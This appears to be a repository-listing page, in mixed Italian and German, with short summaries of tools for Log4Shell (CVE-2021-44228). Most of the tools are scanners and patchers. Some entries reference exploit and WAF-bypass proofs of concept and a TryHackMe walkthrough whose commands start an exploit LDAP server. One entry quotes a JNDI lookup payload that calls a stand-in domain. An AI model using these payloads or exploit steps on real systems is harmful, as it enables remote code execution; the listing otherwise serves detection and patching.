log4jtest

Introduzione Questo repository è configurato per testare rapidamente la vulnerabilità log4j utilizzando Docker e Hashicorp Terraform. Tutti i componenti di questo test verranno eseguiti in container Docker sulla rete Docker, accessibili tramite 'host.docker.internal'. Crediti / Disclaimer Questo...

Log4j-RCE-Scanner

...

log4j-finder

log4j-finder Uno script Python3 per scansionare il filesystem alla ricerca di Log4j2 vulnerabile a Log4Shell CVE-2021-44228 & CVE-2021-45046 & CVE-2021-45105. Scansiona ricorsivamente sia su disco che all'interno di file Java Archive JAR annidati. Come funziona log4j-finder identifica le librerie...

log4j-detector

Log4-detector Scanner that detects vulnerable Log4J versions to help teams assess their exposure to CVE-2021-44228 CRITICAL, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It...

log4j-detector

Log4j-detector Scanner che rileva versioni vulnerabili di Log4J per aiutare i team a valutare la loro esposizione a CVE-2021-44228 CRITICA, CVE-2021-45046, CVE-2021-45105 e CVE-2021-44832. Può cercare istanze di Log4J esaminando attentamente l'intero file-system, incluse tutte le applicazioni...

CVE-2021-44228-Scanner

log4j2-scan è uno strumento da riga di comando a binario singolo per la scansione della vulnerabilità CVE-2021-44228 e l'applicazione della patch di mitigazione. Supporta inoltre la scansione e la patch di file JAR annidati. Rileva anche CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0,...

VcenterKiller

VcenterKiller -1. Nota Fratelli che configurate un ambiente di vulnerabilità in locale, con vckiller per verificare log4j fallirete quasi sempre, perché in ambiente VMware con modalità NAT, la scheda di uscita del modulo di verifica viene considerata come 127.0.0.1, quindi l'indirizzo del server...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Zeigen Sie Ihre Unterstützung - geben Sie einen ⭐️, wenn Ihnen der Inhalt gefallen hat | AUF TWITTER TEILEN | Folge mir auf 🐱‍💻 ✂️ 🤬 LOG4J Java Exploit - WAF und Patches Bypass-Tricks 📝 Beschreibung CVE-2021-44228 funktioniert auf: log4j: 2.0 = Apache log4j = 2.14.1 Bereits gepatchte...

log4shell-vulnerable-app

Log4Shell sample vulnerable application CVE-2021-44228 Questo repository contiene un'applicazione web Spring Boot vulnerabile a CVE-2021-44228, soprannominata Log4Shell. Utilizza Log4j 2.14.1 tramite spring-boot-starter-log4j2 2.6.1 e il JDK 1.8.0181. Esecuzione dell'applicazione Eseguila:...

log4j

💻 -h3x0v3rl0rd- Sfruttare log4j CVE-2021-44228 TryHackMe Solar, Walkthrough root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. Esegui log4j.py Questo installerà tutte le applicazioni necessarie e avvierà il server LDAP root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2...

mc-log4j-patcher

mc-log4j-patcher Sostituisce la vecchia versione di Log4j2 vulnerabile - CVE-2021-44228 con l'ultima 2.15.0 che contiene il fix per la RCE JNDI. Testato su Spigot 1.12.2, PaperSpigot 1.8.8, PaperSpigot 1.17.1 Questo strumento è pensato per correggere server attualmente non supportati, come...

log4jcheck

Northwave Log4j CVE-2021-44228 checker Venerdì 10 dicembre 2021 è stata pubblicata una nuova Proof-of-Concept 1 relativa a una vulnerabilità di esecuzione remota di codice RCE nella libreria Java 'log4j' 2. Questa vulnerabilità non era stata divulgata preventivamente agli sviluppatori del softwar...

PY-Log4j-RCE-Scanner

Log4j RCE Scanner Utilizzando questo strumento, puoi scansionare più indirizzi alla ricerca della vulnerabilità di esecuzione remota dei comandi CVE-2021-44228 in Apache Log4j. Caratteristiche: Può eseguire la scansione in base alla lista di URL che fornisci. Può scansionarli tutti individuando i...

log4j-vuln-coverage-check

log4j-vuln-coverage-check Un semplice progetto per verificare la copertura della vulnerabilità Log4J CVE-2021-44228 e correlate...

log4shell

log4j CVE-2021-44228 Stupido e inutile repo per esaminare log4j CVE-2021-44228. Configurazione Il repository contiene una cartella .idea/ che è un file di progetto di IntelliJ IDEA. L'IDE può essere utilizzato per eseguire e fare il debug delle funzionalità di log4j con facilità. Video Parte 1:...

JndiRemover

JndiRemover Una piccola mod volta a eliminare la vulnerabilità CVE-2021-44228 rimuovendo/disabilitando Jndi in Log4j e intercettando messaggi contenenti il testo "$jndi:ldap://domainname.com/script", che verranno rimossi. Versioni supportate di MC: Forge 1.7.10, 1.12.2...

MC-Log4j-Patcher

MC-Log4J-Patcher Das Ziel dieses Projekts ist es, Minecraft-Spielern und Serverbetreibern in Bezug auf den kürzlich entdeckten Log4J-Exploit CVE-2021-44228 ein beruhigendes Gefühl zu geben. Derzeit sucht dieses Projekt nach beliebigen Log4J-Formatzeichenfolgen, nicht nur nach jndi, und ersetzt si...

Burp-Log4j-HammerTime

Log4j-HammerTime Questa estensione dello Scanner Attivo di Burp Suite verifica lo sfruttamento delle vulnerabilità Apache Log4j CVE-2021-44228 e CVE-2021-45046. Questa estensione utilizza Burp Collaborator per verificare il problema. Utilizzo Abilita questa estensione Avvia una scansione attiva s...

CVE-2021-44228-Advisories

CVE-2021-44228-Sicherheitshinweise Bitte öffnen Sie Issues, um einen Sicherheitshinweis einzureichen / Keine PRs. Bitte schauen Sie sich diese Liste an, sie hat mehr Zugkraft als meine : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592 Diese Liste enthält alle Sicherheitshinweise...

Apache-Log4j2-RCE

Apache Log4j2 RCE Ambiente di verifica Since from 2021.12.09 Riferimenti https://mp.weixin.qq.com/s/yck74F9p9QhVw3ykzVoSg Configurazione dell'ambiente Introduzione dei pacchetti Maven e intervallo di versioni vulnerabili root@kitploit: org.apache.logging.log4j log4j-api 2.14.1...